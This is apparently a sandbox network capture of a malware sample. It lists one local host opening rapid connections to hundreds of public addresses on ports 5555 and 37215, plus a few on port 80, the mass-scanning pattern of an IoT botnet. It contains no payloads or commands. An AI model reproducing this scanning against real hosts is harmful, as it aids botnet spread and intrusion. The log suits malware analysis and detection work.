Feb 12, 2023 21:24:56.955909967 CET	22272	5555	192.168.2.23	31.169.75.105
Feb 12, 2023 21:24:56.955935955 CET	22272	5555	192.168.2.23	141.205.113.131
Feb 12, 2023 21:24:56.955991983 CET	22272	5555	192.168.2.23	85.28.95.206
Feb 12, 2023 21:24:56.955992937 CET	22272	5555	192.168.2.23	39.155.88.252
Feb 12, 2023 21:24:56.956001043 CET	22272	5555	192.168.2.23	213.150.167.41
Feb 12, 2023 21:24:56.956002951 CET	22272	5555	192.168.2.23	126.237.137.197
Feb 12, 2023 21:24:56.956001043 CET	22272	5555	192.168.2.23	194.11.167.87
Feb 12, 2023 21:24:56.956013918 CET	22272	5555	192.168.2.23	121.42.202.13
Feb 12, 2023 21:24:56.956013918 CET	22272	5555	192.168.2.23	38.188.67.131
Feb 12, 2023 21:24:56.956013918 CET	22272	5555	192.168.2.23	113.139.95.170
Feb 12, 2023 21:24:56.956021070 CET	22272	5555	192.168.2.23	179.170.1.99
Feb 12, 2023 21:24:56.956021070 CET	22272	5555	192.168.2.23	173.231.214.153
Feb 12, 2023 21:24:56.956037045 CET	22272	5555	192.168.2.23	220.126.205.252
Feb 12, 2023 21:24:56.956037998 CET	22272	5555	192.168.2.23	137.3.113.190
Feb 12, 2023 21:24:56.956042051 CET	22272	5555	192.168.2.23	158.173.43.78
Feb 12, 2023 21:24:56.956037998 CET	22272	5555	192.168.2.23	175.242.247.36
Feb 12, 2023 21:24:56.956043005 CET	22272	5555	192.168.2.23	49.7.192.238
Feb 12, 2023 21:24:56.956043005 CET	22272	5555	192.168.2.23	44.32.133.13
Feb 12, 2023 21:24:56.956042051 CET	22272	5555	192.168.2.23	186.22.52.166
Feb 12, 2023 21:24:56.956043005 CET	22272	5555	192.168.2.23	93.87.18.18
Feb 12, 2023 21:24:56.956048965 CET	22272	5555	192.168.2.23	175.63.253.86
Feb 12, 2023 21:24:56.956042051 CET	22272	5555	192.168.2.23	195.23.161.24
Feb 12, 2023 21:24:56.956042051 CET	22272	5555	192.168.2.23	57.58.126.37
Feb 12, 2023 21:24:56.956052065 CET	22272	5555	192.168.2.23	134.127.225.122
Feb 12, 2023 21:24:56.956053972 CET	22272	5555	192.168.2.23	144.221.118.167
Feb 12, 2023 21:24:56.956072092 CET	22272	5555	192.168.2.23	69.56.39.237
Feb 12, 2023 21:24:56.956080914 CET	22272	5555	192.168.2.23	177.133.24.235
Feb 12, 2023 21:24:56.956080914 CET	22272	5555	192.168.2.23	193.227.171.138
Feb 12, 2023 21:24:56.956088066 CET	22272	5555	192.168.2.23	171.61.112.209
Feb 12, 2023 21:24:56.956105947 CET	22272	5555	192.168.2.23	72.157.152.236
Feb 12, 2023 21:24:56.956114054 CET	22272	5555	192.168.2.23	82.231.213.106
Feb 12, 2023 21:24:56.956105947 CET	22272	5555	192.168.2.23	120.220.129.79
Feb 12, 2023 21:24:56.956120968 CET	22272	5555	192.168.2.23	167.207.227.214
Feb 12, 2023 21:24:56.956139088 CET	22272	5555	192.168.2.23	65.151.58.207
Feb 12, 2023 21:24:56.956139088 CET	22272	5555	192.168.2.23	151.124.36.59
Feb 12, 2023 21:24:56.956166983 CET	22272	5555	192.168.2.23	161.62.244.47
Feb 12, 2023 21:24:56.956166983 CET	22272	5555	192.168.2.23	51.181.5.235
Feb 12, 2023 21:24:56.956166983 CET	22272	5555	192.168.2.23	34.11.97.73
Feb 12, 2023 21:24:56.956177950 CET	22272	5555	192.168.2.23	118.51.94.42
Feb 12, 2023 21:24:56.956279993 CET	22272	5555	192.168.2.23	80.86.220.144
Feb 12, 2023 21:24:56.956279993 CET	22272	5555	192.168.2.23	31.107.249.62
Feb 12, 2023 21:24:56.956279993 CET	22272	5555	192.168.2.23	120.51.58.72
Feb 12, 2023 21:24:56.956293106 CET	22272	5555	192.168.2.23	145.35.158.223
Feb 12, 2023 21:24:56.956293106 CET	22272	5555	192.168.2.23	69.37.232.71
Feb 12, 2023 21:24:56.956293106 CET	22272	5555	192.168.2.23	91.134.4.167
Feb 12, 2023 21:24:56.956300974 CET	22272	5555	192.168.2.23	150.162.238.203
Feb 12, 2023 21:24:56.956307888 CET	22272	5555	192.168.2.23	205.221.77.18
Feb 12, 2023 21:24:56.956310987 CET	22272	5555	192.168.2.23	145.250.8.26
Feb 12, 2023 21:24:56.956309080 CET	22272	5555	192.168.2.23	178.98.116.200
Feb 12, 2023 21:24:56.956310987 CET	22272	5555	192.168.2.23	96.95.43.51
Feb 12, 2023 21:24:56.956336975 CET	22272	5555	192.168.2.23	4.112.109.253
Feb 12, 2023 21:24:56.956336975 CET	22272	5555	192.168.2.23	154.96.184.81
Feb 12, 2023 21:24:56.956336975 CET	22272	5555	192.168.2.23	59.233.71.248
Feb 12, 2023 21:24:56.956336975 CET	22272	5555	192.168.2.23	80.20.75.98
Feb 12, 2023 21:24:56.956381083 CET	22272	5555	192.168.2.23	61.27.233.122
Feb 12, 2023 21:24:56.956387997 CET	22272	5555	192.168.2.23	211.46.196.112
Feb 12, 2023 21:24:56.956381083 CET	22272	5555	192.168.2.23	118.214.65.18
Feb 12, 2023 21:24:56.956387997 CET	22272	5555	192.168.2.23	166.108.85.155
Feb 12, 2023 21:24:56.956381083 CET	22272	5555	192.168.2.23	223.89.232.70
Feb 12, 2023 21:24:56.956388950 CET	22272	5555	192.168.2.23	118.162.177.4
Feb 12, 2023 21:24:56.956381083 CET	22272	5555	192.168.2.23	64.84.35.164
Feb 12, 2023 21:24:56.956381083 CET	22272	5555	192.168.2.23	112.197.159.50
Feb 12, 2023 21:24:56.956386089 CET	22272	5555	192.168.2.23	211.184.203.192
Feb 12, 2023 21:24:56.956386089 CET	22272	5555	192.168.2.23	53.83.62.180
Feb 12, 2023 21:24:56.956397057 CET	22272	5555	192.168.2.23	58.102.220.8
Feb 12, 2023 21:24:56.956397057 CET	22272	5555	192.168.2.23	170.21.148.29
Feb 12, 2023 21:24:56.956398964 CET	22272	5555	192.168.2.23	95.10.9.239
Feb 12, 2023 21:24:56.956397057 CET	22272	5555	192.168.2.23	24.76.161.180
Feb 12, 2023 21:24:56.956398964 CET	22272	5555	192.168.2.23	87.4.101.66
Feb 12, 2023 21:24:56.956397057 CET	22272	5555	192.168.2.23	190.243.148.206
Feb 12, 2023 21:24:56.956399918 CET	22272	5555	192.168.2.23	109.124.71.13
Feb 12, 2023 21:24:56.956403971 CET	22272	5555	192.168.2.23	164.249.32.222
Feb 12, 2023 21:24:56.956403971 CET	22272	5555	192.168.2.23	204.77.178.8
Feb 12, 2023 21:24:56.956403971 CET	22272	5555	192.168.2.23	213.6.68.202
Feb 12, 2023 21:24:56.956403971 CET	22272	5555	192.168.2.23	97.204.169.13
Feb 12, 2023 21:24:56.956403971 CET	22272	5555	192.168.2.23	175.209.158.2
Feb 12, 2023 21:24:56.956412077 CET	22272	5555	192.168.2.23	52.217.161.74
Feb 12, 2023 21:24:56.956412077 CET	22272	5555	192.168.2.23	196.149.118.81
Feb 12, 2023 21:24:56.956412077 CET	22272	5555	192.168.2.23	12.206.126.215
Feb 12, 2023 21:24:56.956413031 CET	22272	5555	192.168.2.23	112.214.69.138
Feb 12, 2023 21:24:56.956413031 CET	22272	5555	192.168.2.23	131.73.94.207
Feb 12, 2023 21:24:56.956454992 CET	22272	5555	192.168.2.23	8.185.20.196
Feb 12, 2023 21:24:56.956474066 CET	22272	5555	192.168.2.23	179.224.49.74
Feb 12, 2023 21:24:56.956474066 CET	22272	5555	192.168.2.23	99.188.179.120
Feb 12, 2023 21:24:56.956474066 CET	22272	5555	192.168.2.23	61.1.14.49
Feb 12, 2023 21:24:56.956476927 CET	22272	5555	192.168.2.23	19.220.143.204
Feb 12, 2023 21:24:56.956474066 CET	22272	5555	192.168.2.23	178.118.113.127
Feb 12, 2023 21:24:56.956476927 CET	22272	5555	192.168.2.23	31.216.120.46
Feb 12, 2023 21:24:56.956475019 CET	22272	5555	192.168.2.23	131.44.68.15
Feb 12, 2023 21:24:56.956476927 CET	22272	5555	192.168.2.23	20.201.118.38
Feb 12, 2023 21:24:56.956475019 CET	22272	5555	192.168.2.23	176.52.118.205
Feb 12, 2023 21:24:56.956475019 CET	22272	5555	192.168.2.23	211.163.88.80
Feb 12, 2023 21:24:56.956485987 CET	22272	5555	192.168.2.23	93.93.163.122
Feb 12, 2023 21:24:56.956485987 CET	22272	5555	192.168.2.23	183.169.14.0
Feb 12, 2023 21:24:56.956475019 CET	22272	5555	192.168.2.23	163.187.137.92
Feb 12, 2023 21:24:56.956486940 CET	22272	5555	192.168.2.23	108.28.49.168
Feb 12, 2023 21:24:56.956486940 CET	22272	5555	192.168.2.23	74.130.215.120
Feb 12, 2023 21:24:56.956486940 CET	22272	5555	192.168.2.23	134.156.118.49
Feb 12, 2023 21:24:56.956486940 CET	22272	5555	192.168.2.23	220.85.106.217
Feb 12, 2023 21:24:56.956486940 CET	22272	5555	192.168.2.23	139.20.134.229
Feb 12, 2023 21:24:56.956496000 CET	22272	5555	192.168.2.23	13.36.82.20
Feb 12, 2023 21:24:56.956525087 CET	22272	5555	192.168.2.23	151.56.143.112
Feb 12, 2023 21:24:56.956525087 CET	22272	5555	192.168.2.23	202.37.51.255
Feb 12, 2023 21:24:56.956525087 CET	22272	5555	192.168.2.23	135.129.107.61
Feb 12, 2023 21:24:56.956533909 CET	22272	5555	192.168.2.23	196.125.219.1
Feb 12, 2023 21:24:56.956533909 CET	22272	5555	192.168.2.23	84.217.22.34
Feb 12, 2023 21:24:56.956537008 CET	22272	5555	192.168.2.23	53.132.129.191
Feb 12, 2023 21:24:56.956533909 CET	22272	5555	192.168.2.23	207.60.74.193
Feb 12, 2023 21:24:56.956533909 CET	22272	5555	192.168.2.23	17.182.252.130
Feb 12, 2023 21:24:56.956537008 CET	22272	5555	192.168.2.23	196.83.162.244
Feb 12, 2023 21:24:56.956537008 CET	22272	5555	192.168.2.23	94.90.172.59
Feb 12, 2023 21:24:56.956533909 CET	22272	5555	192.168.2.23	158.157.106.21
Feb 12, 2023 21:24:56.956537008 CET	22272	5555	192.168.2.23	196.140.30.90
Feb 12, 2023 21:24:56.956537008 CET	22272	5555	192.168.2.23	103.137.165.197
Feb 12, 2023 21:24:56.956533909 CET	22272	5555	192.168.2.23	81.250.179.90
Feb 12, 2023 21:24:56.956537008 CET	22272	5555	192.168.2.23	141.57.253.246
Feb 12, 2023 21:24:56.956535101 CET	22272	5555	192.168.2.23	133.51.236.166
Feb 12, 2023 21:24:56.956537008 CET	22272	5555	192.168.2.23	80.40.24.86
Feb 12, 2023 21:24:56.956548929 CET	22272	5555	192.168.2.23	164.158.95.84
Feb 12, 2023 21:24:56.956537008 CET	22272	5555	192.168.2.23	115.105.121.176
Feb 12, 2023 21:24:56.956548929 CET	22272	5555	192.168.2.23	101.176.69.131
Feb 12, 2023 21:24:56.956549883 CET	22272	5555	192.168.2.23	174.99.123.230
Feb 12, 2023 21:24:56.956535101 CET	22272	5555	192.168.2.23	123.102.130.99
Feb 12, 2023 21:24:56.956549883 CET	22272	5555	192.168.2.23	108.123.200.177
Feb 12, 2023 21:24:56.956549883 CET	22272	5555	192.168.2.23	123.13.59.135
Feb 12, 2023 21:24:56.956549883 CET	22272	5555	192.168.2.23	122.169.206.176
Feb 12, 2023 21:24:56.956549883 CET	22272	5555	192.168.2.23	176.100.21.59
Feb 12, 2023 21:24:56.956549883 CET	22272	5555	192.168.2.23	100.171.29.142
Feb 12, 2023 21:24:56.956589937 CET	22272	5555	192.168.2.23	213.116.30.215
Feb 12, 2023 21:24:56.956593990 CET	22272	5555	192.168.2.23	157.3.4.81
Feb 12, 2023 21:24:56.956593990 CET	22272	5555	192.168.2.23	96.152.75.36
Feb 12, 2023 21:24:56.956593990 CET	22272	5555	192.168.2.23	59.117.89.165
Feb 12, 2023 21:24:56.956593990 CET	22272	5555	192.168.2.23	92.62.152.128
Feb 12, 2023 21:24:56.956594944 CET	22272	5555	192.168.2.23	43.130.224.3
Feb 12, 2023 21:24:56.956684113 CET	22272	5555	192.168.2.23	104.126.88.86
Feb 12, 2023 21:24:56.956684113 CET	22272	5555	192.168.2.23	208.239.4.246
Feb 12, 2023 21:24:56.956684113 CET	22272	5555	192.168.2.23	152.166.5.98
Feb 12, 2023 21:24:56.956684113 CET	22272	5555	192.168.2.23	94.69.182.15
Feb 12, 2023 21:24:56.956702948 CET	22272	5555	192.168.2.23	165.243.18.22
Feb 12, 2023 21:24:56.956702948 CET	22272	5555	192.168.2.23	36.143.141.150
Feb 12, 2023 21:24:56.956710100 CET	22272	5555	192.168.2.23	58.86.236.62
Feb 12, 2023 21:24:56.956710100 CET	22272	5555	192.168.2.23	218.255.19.108
Feb 12, 2023 21:24:56.985255957 CET	5555	22272	91.134.4.167	192.168.2.23
Feb 12, 2023 21:24:56.985289097 CET	5555	22272	13.36.82.20	192.168.2.23
Feb 12, 2023 21:24:57.019587040 CET	5555	22272	31.169.75.105	192.168.2.23
Feb 12, 2023 21:24:57.071321964 CET	50126	80	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:57.071326971 CET	50902	80	192.168.2.23	56.50.46.54
Feb 12, 2023 21:24:57.071327925 CET	59238	81	192.168.2.23	54.57.46.49
Feb 12, 2023 21:24:57.071341991 CET	48958	80	192.168.2.23	53.46.49.53
Feb 12, 2023 21:24:57.071365118 CET	33530	80	192.168.2.23	54.50.46.55
Feb 12, 2023 21:24:57.071368933 CET	48868	80	192.168.2.23	56.56.46.49
Feb 12, 2023 21:24:57.071372986 CET	37138	80	192.168.2.23	49.46.49.50
Feb 12, 2023 21:24:57.133102894 CET	52981	37215	192.168.2.23	197.226.35.60
Feb 12, 2023 21:24:57.133130074 CET	52981	37215	192.168.2.23	119.56.69.59
Feb 12, 2023 21:24:57.133142948 CET	52981	37215	192.168.2.23	157.226.248.186
Feb 12, 2023 21:24:57.133145094 CET	52981	37215	192.168.2.23	157.217.129.168
Feb 12, 2023 21:24:57.133143902 CET	52981	37215	192.168.2.23	41.173.243.225
Feb 12, 2023 21:24:57.133158922 CET	52981	37215	192.168.2.23	130.19.151.203
Feb 12, 2023 21:24:57.133158922 CET	52981	37215	192.168.2.23	197.143.7.247
Feb 12, 2023 21:24:57.133173943 CET	52981	37215	192.168.2.23	157.96.148.63
Feb 12, 2023 21:24:57.133198023 CET	52981	37215	192.168.2.23	191.98.19.160
Feb 12, 2023 21:24:57.133209944 CET	52981	37215	192.168.2.23	98.153.192.87
Feb 12, 2023 21:24:57.133219957 CET	52981	37215	192.168.2.23	157.196.187.219
Feb 12, 2023 21:24:57.133228064 CET	52981	37215	192.168.2.23	41.144.239.195
Feb 12, 2023 21:24:57.133233070 CET	52981	37215	192.168.2.23	41.98.215.50
Feb 12, 2023 21:24:57.133236885 CET	52981	37215	192.168.2.23	197.179.184.74
Feb 12, 2023 21:24:57.133236885 CET	52981	37215	192.168.2.23	197.104.136.245
Feb 12, 2023 21:24:57.133240938 CET	52981	37215	192.168.2.23	41.105.188.227
Feb 12, 2023 21:24:57.133277893 CET	52981	37215	192.168.2.23	197.131.80.118
Feb 12, 2023 21:24:57.133286953 CET	52981	37215	192.168.2.23	197.134.17.230
Feb 12, 2023 21:24:57.133304119 CET	52981	37215	192.168.2.23	197.227.200.65
Feb 12, 2023 21:24:57.133308887 CET	52981	37215	192.168.2.23	197.246.202.185
Feb 12, 2023 21:24:57.133342981 CET	52981	37215	192.168.2.23	57.21.95.143
Feb 12, 2023 21:24:57.133352995 CET	52981	37215	192.168.2.23	222.91.61.60
Feb 12, 2023 21:24:57.133385897 CET	52981	37215	192.168.2.23	197.158.248.206
Feb 12, 2023 21:24:57.133388996 CET	52981	37215	192.168.2.23	41.56.193.173
Feb 12, 2023 21:24:57.133415937 CET	52981	37215	192.168.2.23	213.63.40.202
Feb 12, 2023 21:24:57.133440971 CET	52981	37215	192.168.2.23	157.92.243.47
Feb 12, 2023 21:24:57.133451939 CET	52981	37215	192.168.2.23	197.138.69.102
Feb 12, 2023 21:24:57.133451939 CET	52981	37215	192.168.2.23	197.154.99.177
Feb 12, 2023 21:24:57.133472919 CET	52981	37215	192.168.2.23	157.159.230.213
Feb 12, 2023 21:24:57.133486032 CET	52981	37215	192.168.2.23	99.109.249.132
Feb 12, 2023 21:24:57.133506060 CET	52981	37215	192.168.2.23	41.133.210.175
Feb 12, 2023 21:24:57.133513927 CET	52981	37215	192.168.2.23	190.98.87.79
Feb 12, 2023 21:24:57.133542061 CET	52981	37215	192.168.2.23	197.97.149.136
Feb 12, 2023 21:24:57.133542061 CET	52981	37215	192.168.2.23	153.58.5.185
Feb 12, 2023 21:24:57.133567095 CET	52981	37215	192.168.2.23	41.73.173.248
Feb 12, 2023 21:24:57.133578062 CET	52981	37215	192.168.2.23	184.199.38.77
Feb 12, 2023 21:24:57.133584976 CET	52981	37215	192.168.2.23	157.145.28.29
Feb 12, 2023 21:24:57.133604050 CET	52981	37215	192.168.2.23	41.84.246.223
Feb 12, 2023 21:24:57.133630037 CET	52981	37215	192.168.2.23	197.135.242.111
Feb 12, 2023 21:24:57.133642912 CET	52981	37215	192.168.2.23	157.252.194.171
Feb 12, 2023 21:24:57.133677006 CET	52981	37215	192.168.2.23	41.160.68.69
Feb 12, 2023 21:24:57.133687973 CET	52981	37215	192.168.2.23	77.19.20.43
Feb 12, 2023 21:24:57.133702040 CET	52981	37215	192.168.2.23	122.115.158.196
Feb 12, 2023 21:24:57.133714914 CET	52981	37215	192.168.2.23	157.130.132.187
Feb 12, 2023 21:24:57.133718014 CET	52981	37215	192.168.2.23	91.180.232.33
Feb 12, 2023 21:24:57.133718014 CET	52981	37215	192.168.2.23	197.244.197.176
Feb 12, 2023 21:24:57.133724928 CET	52981	37215	192.168.2.23	157.105.68.4
Feb 12, 2023 21:24:57.133774042 CET	52981	37215	192.168.2.23	113.131.127.197
Feb 12, 2023 21:24:57.133774042 CET	52981	37215	192.168.2.23	197.25.7.248
Feb 12, 2023 21:24:57.133780003 CET	52981	37215	192.168.2.23	41.180.180.111
Feb 12, 2023 21:24:57.133786917 CET	52981	37215	192.168.2.23	41.125.238.202
Feb 12, 2023 21:24:57.133786917 CET	52981	37215	192.168.2.23	197.6.200.30
Feb 12, 2023 21:24:57.133786917 CET	52981	37215	192.168.2.23	157.245.108.12
Feb 12, 2023 21:24:57.133793116 CET	52981	37215	192.168.2.23	197.215.233.113
Feb 12, 2023 21:24:57.133795023 CET	52981	37215	192.168.2.23	157.66.219.104
Feb 12, 2023 21:24:57.133805037 CET	52981	37215	192.168.2.23	157.173.11.95
Feb 12, 2023 21:24:57.133812904 CET	52981	37215	192.168.2.23	82.224.195.200
Feb 12, 2023 21:24:57.133819103 CET	52981	37215	192.168.2.23	61.247.194.64
Feb 12, 2023 21:24:57.133860111 CET	52981	37215	192.168.2.23	41.12.4.57
Feb 12, 2023 21:24:57.133860111 CET	52981	37215	192.168.2.23	157.249.128.222
Feb 12, 2023 21:24:57.133862019 CET	52981	37215	192.168.2.23	41.30.246.226
Feb 12, 2023 21:24:57.133867979 CET	52981	37215	192.168.2.23	41.131.242.49
Feb 12, 2023 21:24:57.133887053 CET	52981	37215	192.168.2.23	146.157.112.174
Feb 12, 2023 21:24:57.133888960 CET	52981	37215	192.168.2.23	197.12.41.18
Feb 12, 2023 21:24:57.133912086 CET	52981	37215	192.168.2.23	180.97.198.248
Feb 12, 2023 21:24:57.133915901 CET	52981	37215	192.168.2.23	41.229.112.187
Feb 12, 2023 21:24:57.133939028 CET	52981	37215	192.168.2.23	110.220.46.137
Feb 12, 2023 21:24:57.133943081 CET	52981	37215	192.168.2.23	157.114.211.179
Feb 12, 2023 21:24:57.133955956 CET	52981	37215	192.168.2.23	31.193.146.7
Feb 12, 2023 21:24:57.133966923 CET	52981	37215	192.168.2.23	197.168.88.89
Feb 12, 2023 21:24:57.133994102 CET	52981	37215	192.168.2.23	41.100.118.65
Feb 12, 2023 21:24:57.134011984 CET	52981	37215	192.168.2.23	197.37.180.231
Feb 12, 2023 21:24:57.134027004 CET	52981	37215	192.168.2.23	25.190.215.19
Feb 12, 2023 21:24:57.134041071 CET	52981	37215	192.168.2.23	197.200.36.215
Feb 12, 2023 21:24:57.134074926 CET	52981	37215	192.168.2.23	41.16.14.3
Feb 12, 2023 21:24:57.134089947 CET	52981	37215	192.168.2.23	43.30.220.105
Feb 12, 2023 21:24:57.134108067 CET	52981	37215	192.168.2.23	157.174.86.243
Feb 12, 2023 21:24:57.134119987 CET	52981	37215	192.168.2.23	192.56.55.128
Feb 12, 2023 21:24:57.134130955 CET	52981	37215	192.168.2.23	41.190.206.155
Feb 12, 2023 21:24:57.134145021 CET	52981	37215	192.168.2.23	156.94.99.145
Feb 12, 2023 21:24:57.134155035 CET	52981	37215	192.168.2.23	157.149.105.123
Feb 12, 2023 21:24:57.134159088 CET	52981	37215	192.168.2.23	157.164.83.89
Feb 12, 2023 21:24:57.134159088 CET	52981	37215	192.168.2.23	197.194.255.222
Feb 12, 2023 21:24:57.134171963 CET	52981	37215	192.168.2.23	90.209.210.255
Feb 12, 2023 21:24:57.134186983 CET	52981	37215	192.168.2.23	41.164.183.17
Feb 12, 2023 21:24:57.134203911 CET	52981	37215	192.168.2.23	153.212.116.248
Feb 12, 2023 21:24:57.134206057 CET	52981	37215	192.168.2.23	170.79.246.180
Feb 12, 2023 21:24:57.134218931 CET	52981	37215	192.168.2.23	202.189.35.63
Feb 12, 2023 21:24:57.134221077 CET	52981	37215	192.168.2.23	41.155.109.181
Feb 12, 2023 21:24:57.134237051 CET	52981	37215	192.168.2.23	107.231.218.47
Feb 12, 2023 21:24:57.134247065 CET	52981	37215	192.168.2.23	157.4.25.109
Feb 12, 2023 21:24:57.134279966 CET	52981	37215	192.168.2.23	157.112.227.92
Feb 12, 2023 21:24:57.134287119 CET	52981	37215	192.168.2.23	41.96.197.33
Feb 12, 2023 21:24:57.134294987 CET	52981	37215	192.168.2.23	157.210.137.218
Feb 12, 2023 21:24:57.134294987 CET	52981	37215	192.168.2.23	41.49.165.143
Feb 12, 2023 21:24:57.134332895 CET	52981	37215	192.168.2.23	116.86.128.181
Feb 12, 2023 21:24:57.134339094 CET	52981	37215	192.168.2.23	197.56.73.41
Feb 12, 2023 21:24:57.134339094 CET	52981	37215	192.168.2.23	197.15.230.3
Feb 12, 2023 21:24:57.134349108 CET	52981	37215	192.168.2.23	9.45.191.137
Feb 12, 2023 21:24:57.134352922 CET	52981	37215	192.168.2.23	41.55.251.149
Feb 12, 2023 21:24:57.134356022 CET	52981	37215	192.168.2.23	67.13.83.178
Feb 12, 2023 21:24:57.134356022 CET	52981	37215	192.168.2.23	197.168.201.133
Feb 12, 2023 21:24:57.134387970 CET	52981	37215	192.168.2.23	19.17.241.68
Feb 12, 2023 21:24:57.134407997 CET	52981	37215	192.168.2.23	197.18.111.59
Feb 12, 2023 21:24:57.134423971 CET	52981	37215	192.168.2.23	14.226.247.67
Feb 12, 2023 21:24:57.134438038 CET	52981	37215	192.168.2.23	157.61.12.88
Feb 12, 2023 21:24:57.134438038 CET	52981	37215	192.168.2.23	197.195.116.245
Feb 12, 2023 21:24:57.134438038 CET	52981	37215	192.168.2.23	92.97.102.154
Feb 12, 2023 21:24:57.134505033 CET	52981	37215	192.168.2.23	114.123.225.41
Feb 12, 2023 21:24:57.134505033 CET	52981	37215	192.168.2.23	41.179.181.30
Feb 12, 2023 21:24:57.134505033 CET	52981	37215	192.168.2.23	197.250.224.85
Feb 12, 2023 21:24:57.134505033 CET	52981	37215	192.168.2.23	157.9.34.101
Feb 12, 2023 21:24:57.134505033 CET	52981	37215	192.168.2.23	222.143.136.81
Feb 12, 2023 21:24:57.134514093 CET	52981	37215	192.168.2.23	170.172.124.195
Feb 12, 2023 21:24:57.134521008 CET	52981	37215	192.168.2.23	157.46.11.167
Feb 12, 2023 21:24:57.134525061 CET	52981	37215	192.168.2.23	82.26.108.94
Feb 12, 2023 21:24:57.134525061 CET	52981	37215	192.168.2.23	41.48.129.167
Feb 12, 2023 21:24:57.134526014 CET	52981	37215	192.168.2.23	88.210.148.73
Feb 12, 2023 21:24:57.134537935 CET	52981	37215	192.168.2.23	41.28.212.213
Feb 12, 2023 21:24:57.134538889 CET	52981	37215	192.168.2.23	157.109.157.213
Feb 12, 2023 21:24:57.134551048 CET	52981	37215	192.168.2.23	96.173.159.84
Feb 12, 2023 21:24:57.134562969 CET	52981	37215	192.168.2.23	41.125.167.24
Feb 12, 2023 21:24:57.134566069 CET	52981	37215	192.168.2.23	135.97.86.9
Feb 12, 2023 21:24:57.134583950 CET	52981	37215	192.168.2.23	197.13.201.56
Feb 12, 2023 21:24:57.134599924 CET	52981	37215	192.168.2.23	157.244.126.246
Feb 12, 2023 21:24:57.134613991 CET	52981	37215	192.168.2.23	197.251.230.161
Feb 12, 2023 21:24:57.134632111 CET	52981	37215	192.168.2.23	41.75.92.80
Feb 12, 2023 21:24:57.134637117 CET	52981	37215	192.168.2.23	197.138.225.159
Feb 12, 2023 21:24:57.134645939 CET	52981	37215	192.168.2.23	101.23.230.27
Feb 12, 2023 21:24:57.134648085 CET	52981	37215	192.168.2.23	197.246.99.67
Feb 12, 2023 21:24:57.134671926 CET	52981	37215	192.168.2.23	197.218.72.255
Feb 12, 2023 21:24:57.134680033 CET	52981	37215	192.168.2.23	197.125.68.114
Feb 12, 2023 21:24:57.134706974 CET	52981	37215	192.168.2.23	197.234.224.13
Feb 12, 2023 21:24:57.134707928 CET	52981	37215	192.168.2.23	162.247.71.117
Feb 12, 2023 21:24:57.134718895 CET	52981	37215	192.168.2.23	41.187.76.78
Feb 12, 2023 21:24:57.134728909 CET	52981	37215	192.168.2.23	197.28.240.96
Feb 12, 2023 21:24:57.134764910 CET	52981	37215	192.168.2.23	197.181.38.127
Feb 12, 2023 21:24:57.134785891 CET	52981	37215	192.168.2.23	41.126.14.57
Feb 12, 2023 21:24:57.134793043 CET	52981	37215	192.168.2.23	197.250.19.198
Feb 12, 2023 21:24:57.134793043 CET	52981	37215	192.168.2.23	197.38.230.127
Feb 12, 2023 21:24:57.134799957 CET	52981	37215	192.168.2.23	41.3.70.17
Feb 12, 2023 21:24:57.134799957 CET	52981	37215	192.168.2.23	197.98.37.36
Feb 12, 2023 21:24:57.134804010 CET	52981	37215	192.168.2.23	197.148.158.78
Feb 12, 2023 21:24:57.134804010 CET	52981	37215	192.168.2.23	41.16.238.103
Feb 12, 2023 21:24:57.134804010 CET	52981	37215	192.168.2.23	41.96.90.200
Feb 12, 2023 21:24:57.134848118 CET	52981	37215	192.168.2.23	112.97.156.177
Feb 12, 2023 21:24:57.134848118 CET	52981	37215	192.168.2.23	41.237.72.72
Feb 12, 2023 21:24:57.134849072 CET	52981	37215	192.168.2.23	67.244.184.2
Feb 12, 2023 21:24:57.134849072 CET	52981	37215	192.168.2.23	41.236.14.42
Feb 12, 2023 21:24:57.134849072 CET	52981	37215	192.168.2.23	41.247.200.14
Feb 12, 2023 21:24:57.134849072 CET	52981	37215	192.168.2.23	131.113.133.145
Feb 12, 2023 21:24:57.134860039 CET	52981	37215	192.168.2.23	197.71.248.103
Feb 12, 2023 21:24:57.134865046 CET	52981	37215	192.168.2.23	41.37.4.202
Feb 12, 2023 21:24:57.134865999 CET	52981	37215	192.168.2.23	157.32.193.61
Feb 12, 2023 21:24:57.134865999 CET	52981	37215	192.168.2.23	41.29.168.120
Feb 12, 2023 21:24:57.134881020 CET	52981	37215	192.168.2.23	157.68.60.119
Feb 12, 2023 21:24:57.134887934 CET	52981	37215	192.168.2.23	41.97.241.119
Feb 12, 2023 21:24:57.134888887 CET	52981	37215	192.168.2.23	41.243.60.54
Feb 12, 2023 21:24:57.134890079 CET	52981	37215	192.168.2.23	157.87.154.119
Feb 12, 2023 21:24:57.134897947 CET	52981	37215	192.168.2.23	197.242.104.26
Feb 12, 2023 21:24:57.134897947 CET	52981	37215	192.168.2.23	197.89.132.144
Feb 12, 2023 21:24:57.134922981 CET	52981	37215	192.168.2.23	157.246.210.243
Feb 12, 2023 21:24:57.134932995 CET	52981	37215	192.168.2.23	197.178.116.101
Feb 12, 2023 21:24:57.134932995 CET	52981	37215	192.168.2.23	197.189.237.240
Feb 12, 2023 21:24:57.134957075 CET	52981	37215	192.168.2.23	157.201.71.198
Feb 12, 2023 21:24:57.134957075 CET	52981	37215	192.168.2.23	157.99.160.241
Feb 12, 2023 21:24:57.134957075 CET	52981	37215	192.168.2.23	41.234.237.185
Feb 12, 2023 21:24:57.134965897 CET	52981	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:24:57.134989977 CET	52981	37215	192.168.2.23	41.75.155.211
Feb 12, 2023 21:24:57.135004044 CET	52981	37215	192.168.2.23	41.6.211.107
Feb 12, 2023 21:24:57.135009050 CET	52981	37215	192.168.2.23	19.55.76.150
Feb 12, 2023 21:24:57.135026932 CET	52981	37215	192.168.2.23	157.249.69.172
Feb 12, 2023 21:24:57.135045052 CET	52981	37215	192.168.2.23	160.230.160.24
Feb 12, 2023 21:24:57.135047913 CET	52981	37215	192.168.2.23	197.245.172.139
Feb 12, 2023 21:24:57.135066986 CET	52981	37215	192.168.2.23	197.77.4.199
Feb 12, 2023 21:24:57.135072947 CET	52981	37215	192.168.2.23	157.27.79.66
Feb 12, 2023 21:24:57.135108948 CET	52981	37215	192.168.2.23	157.118.216.10
Feb 12, 2023 21:24:57.135133982 CET	52981	37215	192.168.2.23	118.248.3.210
Feb 12, 2023 21:24:57.135133982 CET	52981	37215	192.168.2.23	206.6.92.139
Feb 12, 2023 21:24:57.135135889 CET	52981	37215	192.168.2.23	157.254.94.127
Feb 12, 2023 21:24:57.135135889 CET	52981	37215	192.168.2.23	18.105.160.75
